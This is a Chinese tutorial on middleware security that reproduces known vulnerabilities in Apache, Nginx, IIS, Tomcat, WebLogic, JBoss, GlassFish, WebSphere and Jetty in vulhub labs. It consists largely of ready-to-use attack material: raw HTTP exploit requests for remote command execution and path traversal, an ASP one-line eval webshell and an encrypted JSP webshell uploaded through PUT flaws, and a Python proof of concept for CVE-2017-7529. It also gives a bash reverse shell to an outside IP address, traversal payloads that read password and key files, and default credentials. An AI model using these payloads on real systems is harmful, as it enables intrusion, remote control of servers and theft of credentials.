中间件安全

这篇具有很好参考价值的文章主要介绍了中间件安全。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

中间件安全

  • vulhub漏洞复现:https://vulhub.org/
  • 操作教程:https://www.freebuf.com/sectool/226207.html

一、Apache

  • Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。
  • Apache是用C语言开发的基于模块化设计的web应用,核心代码不多。多数功能分散在各个模块中
1.Apache 解析漏洞(CVE-2017-15715)
  • 影响版本:2.4.0~2.4.29

  • 漏洞原理:apache这次解析漏洞的根本原因就是这个 ∗ ∗ ,正则表达式中,我们都知道 ** ,正则表达式中,我们都知道 ,正则表达式中,我们都知道用来匹配字符串结尾位置**

    $符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'
    要匹配 $ 字符本身,请使用\$
    如果设置MULTILINE标示,就当作换符处理,如果不设置就当作一行文本处理
    
  • 本次实验是vulhub下的,所以找到apache配置文件,路径在/etc/apache2/ 下, apache2.conf 是apache核心配置文件查看其文件发现如下代码:意思是包含这两个文件下的以conf结尾的文件

    IncludeOptional confenabled/*.conf
    IncludeOptional sitesenabled/*.conf
    
  • 跟进该文件发现关于php的配置文件为docker-php.conf,打开为如下

    <FilesMatch \.php$>
    	SetHandler application/xhttpdphp
    			</FilesMatch>
    
  • 可以看到在正则中是 .php , 因为结尾有个 ,因为结尾有个 ,因为结尾有个符号,结合上述原理,$匹配 ‘\n’ 或 ‘\r’,所以我们修改数据包在文件名后加\n,\n的十六进制为0a

  • 首先查看index.php文件中的php源码

    <?php
    if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
    exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
    } else {
    ?>
    
    • 分析代码文件名KaTeX parse error: Undefined control sequence: \n at position 53: …POST接收不会去掉我们添加的\̲n̲,如果使用_FILES[‘file’][‘name’] 去接收文件名,则会吧\n去掉,所以要满足此漏洞的条件之一就是使用POST接收文件名。
    • $ext等于POST中的文件名后缀,所以文件名不能是[‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’],但是可以是php\n的这种方式,就绕过了if判断。同时这样的文件还以被解析成PHP
  • 上传一个名为1.php的文件,被拦截:

    中间件安全,中间件,安全,网络安全,web安全

  • 在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截

    中间件安全,中间件,安全,网络安全,web安全

  • 关于windows和Linux下这个利用是有区别的

    • linux:可以正常利用
    • windows:windows会产生warning的警告,因为涉及到文件读写,而windows操作系统不允许后缀以换行符结尾的文件命名方式,所以这里会文件会创建失败,就出现了这两个warning了,产生warning就证明已将绕过了。
2.RCE(CVE-2021-42013)
  • 影响版本:Apache 2.4.49 和 Apache 2.4.50

  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 任意命令执行

    GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
    Host: 47.99.49.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=AE8DC398D32400BA213293A544A573BA
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
    If-None-Match: "2d-432a5e4a73a80"
    Content-Length: 7
    
    echo;id
    

    中间件安全,中间件,安全,网络安全,web安全

3.路径穿越漏洞(CVE-2021-41773)
  • 影响版本:Apache 2.4.49 和 Apache 2.4.50

  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 文件读取

    /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
    

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

二、Nginx

  • Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务
1.解析漏洞(CVE-2013-4547)
  • 漏洞原因:PHP配置文件中有一个参数是cgi.fix_pathinfo,如果参数cgi.fix_pathinfo=1,则产生该漏洞。关闭pathinfo的情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php ,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi

  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 上传一个jpg文件,后面命名加一个空格

    中间件安全,中间件,安全,网络安全,web安全

  • 访问上传文件 phpinfoa.gif[0x20][0x20].php时,将文件修改为phpinfoa.gif[0x20][0x00].php;[0x20]为空格,[0x00]为\0(起到截断作用)

    中间件安全,中间件,安全,网络安全,web安全

2.整数溢出漏洞(CVE-2017-7529)
  • 影响版本 Nginx 0.5.6 – 1.13.2

  • 原理

    • Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。
    • 如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
    • 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。
    • 如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • POC

    import requests
    import time
    import urllib3
    def cve20177529():
        try:
    
            # 构造请求头
    
            headers = {
                'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
            }
            url = input('请输入目标URL:')
    
            # 获取正常响应的返回长度
    
            #verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
            r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False) 
            url_len = len(r1.content)
    
            # 将数据长度加长,大于返回的正常长度
    
            addnum = 200
            final_len = url_len + addnum
    
            # 构造Range请求头,并加进headers中
    
            # headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
    
            headers = {
                'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
                'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
            }
    
            # 用构造的新的headers发送请求包,并输出结果
    
            r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
            text = r2.text
            code = r2.status_code
            if ('ETag') in text and code == 206:
                print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')
    
                # 将结果输出到文本上
    
                with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                    f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                    f.close
            else:
                print('未检测到漏洞')
    
                # 将结果输出到文本上
    
                with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                    f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                    f.close    
            
        except Exception as result:
            print(result)
    
    if __name__ == "__main__":
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        cve20177529()
    

    中间件安全,中间件,安全,网络安全,web安全

    存在Nginx整数溢出漏洞(CVE-2017-7529)-------------2024-01-20 15:27:15-------------
    
    --00000000000000000002
    Content-Type: text/html; charset=utf-8
    Content-Range: bytes -200-611/612
    
    , 20 Jan 2024 07:24:51 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 612
    Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
    Connection: close
    ETag: "59526062-264"
    Accept-Ranges: bytes
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a href="http://nginx.org/">nginx.org</a>.<br/>
    Commercial support is available at
    <a href="http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you for using nginx.</em></p>
    </body>
    </html>
    
    --00000000000000000002
    Content-Type: text/html; charset=utf-8
    Content-Range: bytes -9223372036854774384-611/612
    
3.解析漏洞(nginx_parsing_vulnerability)
  • 一些配置错误的情况,与nginx、php版本无关;security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为.php(即:仅为.php的文件才能执行)

  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 上传图片马,然后在访问返回的路径后面加上/.php

    中间件安全,中间件,安全,网络安全,web安全

三、IIS

  • Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP、HTTP/2、HTTPS、FTP、FTPS、SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行,但在Windows XP Home版本上并没有IIS。IIS目前只适用于Windows系统,不适用于其他操作系统
  • IIS默认的可执行文件除了asp还包含这三种 .asa .cer .cdx
1.短文件名漏洞
  • IIS短文件名有以下几个特征:

    • 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)
    • 后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名
    • 所有小写字母均转换成大写字母
    • 长文件名中含有多个“.”,以文件名最后一个“.”作为短文件名后缀
    • 长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件
  • 受影响版本

    IIS 1.0,Windows NT 3.51 
    IIS 3.0,Windows NT 4.0 Service Pack 2 
    IIS 4.0,Windows NT 4.0选项包
    IIS 5.0,Windows 2000 
    IIS 5.1,Windows XP Professional和Windows XP Media Center Edition 
    IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition 
    IIS 7.0,Windows Server 2008和Windows Vista 
    IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
    IIS 7.5,Windows 2008(经典管道模式)
    
    注意:IIS使用.Net Framework 4时不受影响
    
  • 工具利用

    iis_shortname_Scan
    python iis_shortname_Scan.py url
    

    中间件安全,中间件,安全,网络安全,web安全

2.上传解析漏洞
  • 目录解析:以xx.asp命名的文件夹里的文件都将会被当成ASP文件执行

    • 创建一个glc.asp文件,查看显示效果

      <%=now() %>
      

      中间件安全,中间件,安全,网络安全,web安全

    • 修改为glc.txt,查看一下,代码并没有解析

      中间件安全,中间件,安全,网络安全,web安全

    • 将glc.txt放在名为glc.asp的目录下,然后访问glc.txt,发现代码被成功解析

      中间件安全,中间件,安全,网络安全,web安全

  • 文件解析:xx.asp;.jpg 像这种文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行

    • 创建一个glc.asp;.jpg文件,代码被成功解析

      中间件安全,中间件,安全,网络安全,web安全

3.IIS PUT漏洞
  • 漏洞造成原因

    IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传

  • 把WebDAV设置为允许、然后网站主目录下设置可写入权限

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

  • 使用IISPutScanner工具查看是否存在put漏洞

    中间件安全,中间件,安全,网络安全,web安全

  • GET 修改为 OPTIONS 查看可执行命令

    中间件安全,中间件,安全,网络安全,web安全

  • 使用PUT方法上传名为glc.txt的一句话mua,然后用MOVE方法更改文件名为glc.asp

    <%eval request("glc")%>
    
    PUT /glc.txt HTTP/1.1
    Host: 192.168.80.152
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
    Upgrade-Insecure-Requests: 1
    Content-Length: 23
    
    <%eval request("glc")%>
    

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

    MOVE /glc.txt HTTP/1.1
    Host: 192.168.80.152
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
    Upgrade-Insecure-Requests: 1
    Content-Length: 23
    Destination: /glc.asp;.jpg
    
    <%eval request("glc")%>
    

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

  • 或者使用工具

    中间件安全,中间件,安全,网络安全,web安全

四、Tomcat

  • Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选
  • 当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的
1.Tomcat常见漏洞
Tomcat AJP 文件包含漏洞
Tomcat弱口令
Tomcat反序列化漏洞(CVE-2016-8735)
Tomcat本地提权漏洞(CVE-2016-1240)
Tomcat之JMX服务弱口令漏洞
Tomcat的PUT的上传漏洞(CVE-2017-12615)
Tomcat win版默认空口令漏洞(CVE-2009-3548)
Tomcat 样例目录session操控漏洞
2.弱口令+后台拿shell
  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 使用弱口令登录后台

    :8080/manager/html
    
    tomcat:tomcat
    

    中间件安全,中间件,安全,网络安全,web安全

  • 将jsp马压缩为.war,完成后上传

    jar -cvf shell.war shell.jsp
    

    中间件安全,中间件,安全,网络安全,web安全

  • 完成上传,连接shell

    中间件安全,中间件,安全,网络安全,web安全

3、PUT上传漏洞(CVE-2017-12615)
  • 在Tomcat配置文件设置了PUT上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控

  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 发送数据包,虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/ )来绕过了限制

    PUT /glc.jsp/ HTTP/1.1
    Host: 47.99.49.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Length: 612
    
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    

    中间件安全,中间件,安全,网络安全,web安全

  • 连接shell

中间件安全,中间件,安全,网络安全,web安全

五、weblogic

  • WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVA EE架构的中间件
  • WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
1.weblogic常见漏洞
#控制台路径泄露
Weakpassword 弱口令
weblogic SSRF (CVE20144210)漏洞
weblogic 反序列化(CVE20154852)
weblogic 反序列化(CVE20160638)
weblogic 反序列化(CVE20163510)
weblogic 反序列化(CVE20173248)
weblogic 反序列化(CVE20182628)
weblogic 反序列化(CVE20182893)
weblogic 文件上传(CVE20182894)
weblogic XMLDecoder反序列化(CVE201710271)
weblogic XMLDecoder反序列化(CVE20173506)
weblogic 未授权访问CVE202014883(CVE202014882)
2.weblogic文件读取漏洞
  • 文件路径:weblogic/weak_password

  • 版本信息

    Weblogic版本:10.3.6(11g)
    Java版本:1.6
    
  • 环境启动后,访问http://your-ip:7001/console,即为weblogic后台

    中间件安全,中间件,安全,网络安全,web安全

  • 弱口令:本环境存在弱口令

    账号:weblogic
    密码:Oracle@123
    

    中间件安全,中间件,安全,网络安全,web安全

  • 任意文件读取漏洞的利用

    • 本环境前台模拟了一个任意文件下载漏洞,访问/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

      中间件安全,中间件,安全,网络安全,web安全

    • 读取后台用户密文与密钥文件

      • weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain

      • SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件

        /hello/file.jsp?path=security/SerializedSystemIni.dat
        

        中间件安全,中间件,安全,网络安全,web安全

      • config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了

        /hello/file.jsp?path=config/config.xml
        

        中间件安全,中间件,安全,网络安全,web安全

    • 解密密文

      • 然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文

      中间件安全,中间件,安全,网络安全,web安全

      • 可见,解密后和我预设的密码一致,说明成功
3.远程代码执行 (CVE-2018-2893)
  • 影响范围

    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 12.1.3.0
    Oracle WebLogic Server 12.2.1.2
    Oracle WebLogic Server 12.2.1.3
    
  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 工具梭哈

    中间件安全,中间件,安全,网络安全,web安全

  • 反弹shell

    中间件安全,中间件,安全,网络安全,web安全

4.远程代码执行 (CVE-2020-14883)
  • 影响版本

    weblogic 10.3.6.0.0
    weblogic 12.1.3.0.0
    weblogic 12.2.1.3.0
    weblogic 12.2.1.4.0
    weblogic 14.1.1.0.0
    
  • 启动靶场

    中间件安全,中间件,安全,网络安全,web安全

  • 直接梭哈

    中间件安全,中间件,安全,网络安全,web安全

六、Jboss

  • 通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器
  • fofa语法:“JBoss” && title==“Welcome to JBoss™”
1.CVE-2017-12149
  • 影响的版本:5.x和6.x
  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

  • 由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

    bash -i >& /dev/tcp/120.46.39.241/8848 0>&1
    
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDYuMzkuMjQxLzg4NDggMD4mMQ==
    
  • 工具梭哈

    https://github.com/yunxu1/jboss-_CVE-2017-12149
    

    中间件安全,中间件,安全,网络安全,web安全

七、GlassFish

  • GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改
  • fofa搜索语法:“glassfish” && port=“4848”
  • 默认端口:4848
1.任意文件读取(CVE-2017-1000028)
  • 影响版本:Oracle GlassFish Server Open Source Edition 4.1版本

  • 打开靶场

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

  • POC

    • 读密码

      /theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
      

      中间件安全,中间件,安全,网络安全,web安全

    • 读windows文件

      /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
      
    • 读linux文件

      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
      

      中间件安全,中间件,安全,网络安全,web安全

八、WebSphere

  • WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件

  • 端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等

  • 漏洞探测在8880端口,后台是9060端口,解析是9080端口

  • fofa语法:

    “websphere” && server==“WebSphere Application Server/7.0” && port=“8880”

    “websphere” && server==“WebSphere Application Server/7.0” && port=“9060”

1.反序列化(CVE-2015-7450)
  • 漏洞影响版本

    IBM Websphere Application Server 7.0
    IBM Websphere Application Server 6.2

  • 启动环境

    拉取镜像:docker pull iscrosales/websphere7
    启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
    

    中间件安全,中间件,安全,网络安全,web安全

  • 漏洞页面

    中间件安全,中间件,安全,网络安全,web安全

  • 工具梭哈

    中间件安全,中间件,安全,网络安全,web安全

2.弱口令上传功能拿shell
  • 发现漏洞

    中间件安全,中间件,安全,网络安全,web安全

  • 访问控制页面,输入admin登录

    :9060/ibm/console/
    

    中间件安全,中间件,安全,网络安全,web安全

  • 生成mua,压缩为zip文件,然后修改后缀为.war,点击上传

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

    中间件安全,中间件,安全,网络安全,web安全

  • 一直点next,然后设置路径

    中间件安全,中间件,安全,网络安全,web安全

  • 点击完成,然后选择save

    中间件安全,中间件,安全,网络安全,web安全

  • 启用我们上传的文件

    中间件安全,中间件,安全,网络安全,web安全

  • 访问文件需要到特定的访问端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口

    中间件安全,中间件,安全,网络安全,web安全

九、Jetty

  • Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
1.敏感信息泄露
  • CVE-2021-28164

    信息泄露路径:http://目标ip:端口/%2e/WEB-INF/web.xml

  • CVE-2021-28169

    信息泄露路径:http://目标ip:端口/static?/WEB-INF/web.xml

  • CVE-2021-34429

    信息泄露路径:http://目标ip:端口/%u002e/WEB-INF/web.xml

    中间件安全,中间件,安全,网络安全,web安全文章来源地址https://www.toymoban.com/news/detail-832356.html

到了这里,关于中间件安全的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • rust actix-web定义中间件(middleware)记录接口耗时(接口耗时中间件和鉴权中间件)

    actix-web的官网关于中间件的介绍如下 https://actix.rs/docs/middleware/ 这里使用的是最新版的actix-web,旧版本的可能接口不太一样 我们添加的中间件能干什么?我们用一段代码来观察一下 下面是官方提供的中间件的定义方式之一,我们可以看到闭包里面有两个参数 req 和 srv 其中

    2024年02月11日
    浏览(47)
  • Web中间件常见漏洞

    Web中间件常见漏洞 我们常见的中间件有apache,tomcat,IIS,weblogic(其实就是web容器),这些中间件可以设置支持的HTTP方法。每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传

    2024年02月14日
    浏览(69)
  • 平台安全之中间件安全

    理解中间件 一次web访问的顺序,web浏览器-web服务器(狭义)-web容器-应用服务器-数据库服务器 web服务器 广义:提供广义web服务的软件或主机 狭义:提供w3服务的软件或主机,即Web服务器软件或装有Web服务器软件的计算机。例如:IIS、Apache、nginx、Lighttpd。Web服务器可以处理

    2024年02月13日
    浏览(53)
  • 中间件安全

    vulhub漏洞复现:https://vulhub.org/ 操作教程:https://www.freebuf.com/sectool/226207.html 一、Apache Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 Apache是用

    2024年02月21日
    浏览(41)
  • 常见的Web应用中间件(基于Linux)

            在整理常用的Web中间件时,我发现自己对于Web服务器、Web中间件和Web容器的概念容易混淆,所以在整理常见的Web应用中间件时,我想先区别一下Web服务器、Web中间件和Web容器。          Web服务器 也可以称为网站服务器,时提供Web服务的软件或主机,Web服务器

    2024年02月06日
    浏览(44)
  • 应急响应-web后门(中间件)的排查思路

    语言,数据库,中间件,系统环境等 1.利用时间节点筛选日志行为 2.利用已知的漏洞在日志进行特征搜索,快速定位到目标ip等信息 3.后门查杀,获取后门信息,进一步定位目标信息 iis .net分析:网站被入侵,给出来被入侵时间 iis日志地址:inetput/logs/LogFiles/W3VC5(确认对网站的

    2024年02月14日
    浏览(40)
  • 中间件安全—Apache常见漏洞

      简单介绍一下apache是什么,Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将python等解释器编译到服务器中。 1.2.1.漏洞

    2024年01月22日
    浏览(52)
  • 中间件安全—Nginx常见漏洞

      在上篇中间件安全—Apache常见漏洞中,并未对中间件漏洞进行解释,这里补充一下。   所谓的中间件漏洞就是并非是由于代码程序上设计存在缺陷而导致的漏洞,而是属于应用部署中环境配置不当或使用不当而导致的漏洞,同时这方面的漏洞也是最容易被管理员忽略的

    2024年02月09日
    浏览(46)
  • 中间件安全—Tomcat常见漏洞

      整个复现环境均使用Vulhub一键搭建漏洞测试靶场,Vulhub靶场:链接 1.2.1.漏洞原理   Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被

    2024年02月08日
    浏览(60)
  • Python web实战之细说Django的中间件

                      🔑 :Python Web 开发、Django、中间件 今天分享Python Web开发中的一个重要成员:Django的中间件。介绍中间件的概念、作用及其在实战中的应用。 在Python Web开发中,中间件(Middleware)是指位于Web应用程序和Web服务器之间的一层软件组件。它能够拦截请

    2024年02月13日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包